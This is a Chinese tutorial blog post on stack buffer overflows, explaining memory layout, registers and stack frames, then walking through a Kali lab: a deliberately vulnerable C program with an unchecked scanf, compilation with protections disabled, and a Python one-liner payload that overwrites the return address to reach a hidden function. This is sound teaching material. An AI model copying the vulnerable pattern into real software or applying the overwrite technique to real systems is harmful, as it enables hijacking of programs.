缓冲区溢出原理及Linux系统下实例

1.缓冲区溢出的两个操作:

破坏栈 smash the stack

修饰函数返回地址 modify the return address of the function

2.内存的存储分配:

from high address to low address:

command-line arguments and environment variables:程序运行之前存在的变量和环境变量

stack:栈,存放函数参数,返回地址和函数本地变量的位置。存储时往下走。

heap:堆,存放动态存储空间,malloc从此分配。存储时往上走。

uninitialized data(Bss egment):存放所有未初始化的变量,包括全局和静态变量

initialized data(Data Segment):存放所有初始化的变量

text:存储代码,一般只读

3.常用寄存器:
  • EIP:指令寄存器。存放下一个CPU指令存放的内存地址,当CPU执行完当前指令后,就会从EIP寄存器中读取下一条指令的内存地址。每条指令执行过后,它的大小就会根据新指令的大小变化。
  • ESP:堆栈寄存器。存放栈顶,也就是最后一个元素的位置。常处于最低的内存地址。堆栈的顶部是地址小的区域,压入堆栈的数据越多,ESP就会越来越小。在32位平台上,ESP每次减少4字节。
  • EBP:基指针寄存器。用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
4.栈的基本模型及函数调用状态
参数N 高->低地址
arg2 调用参数 ,函数中的参数从右至左入栈
arg1
Return Address 返回地址 ,将进行调用之后的下一条指令地址作为返回地址压栈,存储EIP信息
Caller’s ebp 将当前寄存器的值(调用函数的基地址 )压栈,并将EBP的值更新为当前栈顶地址,即ESP的值
Local Variables 被调用函数的局部变量 等压栈。ESP的值不断减小。发生调用时,程序还会将被调用函数的指令地址存到eip寄存器内,从而依次执行调用函数的指令。

上表中除调用参数以外的数据构成了被调用函数(callee)的状态。

函数调用结束时:

  • 被调用函数的局部变量被弹出栈外
  • 接下来,ESP和EBP同时指向调用函数的基地址,基地址从栈中被弹出,并存到ebp寄存器内。esp指向返回地址。
  • 返回地址从栈中被弹出,并存到EIP寄存器内。
5.栈溢出攻击的实现原理

当函数在执行内部命令时,我们无法获得程序的控制权。

当发生函数调用或者结束函数调用时,程序的控制权会在函数之间跳转,这时可以通过修改函数状态来实现攻击。

控制程序执行指令最关键的寄存器是EIP。由于在退栈过程中,返回地址会被赋值给EIP,所以只需让溢出数据用攻击指令的地址覆盖原来的返回地址

6.应用实例
  • 在Linux的Kali系统下编写C文件:

    cd Desktop
    gedit stack.c

    gedit指打开某文件或创建某文件,相当于windows的记事本。当所在目录里没有该文件,就会重新创建文件。

    之后弹出记事本页面,编写程序,保存后关闭退出。

    程序代码如下:

    
    #include <stdio.h>
    
    void secretFunction() 
    {    
    printf("Congratulations!\n");    
    printf("You have entered in the secret function!\n");
    }
    void echo() 
    {    
    char buffer[20];
    printf("Enter some text:\n");    
    scanf("%s", buffer);    
    printf("You entered: %s\n", buffer);    
    }
    int main() 
    {    
    echo();
    return 0; 
    }
    

  • 在64位Linux系统下编译32位代码的准备:

    首先需要下载两个库:

    sudo apt-get install build-essential module-assistant 
    sudo apt-get install gcc-multilib g++-multilib

    下载上面两个库时遇到错误,根据提示对apt-get进行更新后解决。

    下载好这两个库后,使用-m32过程中,遇到错误,提示缺少libc.……(记不太清楚了),百度了很久,决定下载libc6-dev-i386。

    在下载过程中,对系统的libc等库进行了升级,升级之后就可以使用了。

  • 实战编译32位代码:

    一般的编译:

    gcc stack.c生成a.out可执行文件(a.out可能有故事)

    gcc stack.c -o stack 生成stack可执行文件

    ./stack 即可运行程序内容

    破坏栈的编译:

    gcc stack.c -o stack -fno-stack-protector -m32 -no-pie

    -fno-stack-protector是对栈进行破坏,注意除此处外,其它位置的stack仅为文件名

    -m32表示编译32位程序

    -no-pie 是由于kali的gcc默认开启了位置无关码,程序运行后会随机加在到内存空间的某个位置,每次运行secretFunction的位置都会改变。

  • 生成二进制文件

    objdump -d stack

    在终端的显示中寻找:
    这里写图片描述

​ 可以看出secretFunction所在的位置是080484a6

这里写图片描述

​ 可以看出echo函数中,第二个lea右侧-0xlc(%ebp) 代表缓冲区的长度为1C,即28个字节。

​ 即使我们只在函数中申请了20个字节的长度,缓冲区仍然设置成了28个字节。

​ 我们要做的就是使输入覆盖掉这块地址,考虑到32位系统中调用函数的基地址和返回地址均为4个字节,所以我们只要任意输入32个字母,最后四个位置输入secretFunction函数的地址即可。

  • 缓冲区成功溢出!

    将下列代码写入终端:

    python -c 'print "a"*32 + "\xa6\x84\x04\x08"'| ./stack

    注意,一般Linux中自带python,且本人所用为python 2.7,python 3格式稍有不同。直接在终端输入python即可查看python版本信息。

    嘿嘿,最终结果:

​ a后面跟的是3个字节的乱码,就这样,栈成功溢出!

推荐相关网址:https://zhuanlan.zhihu.com/p/25816426

猜你喜欢

转载自blog.csdn.net/ljfyyj/article/details/79892811
今日推荐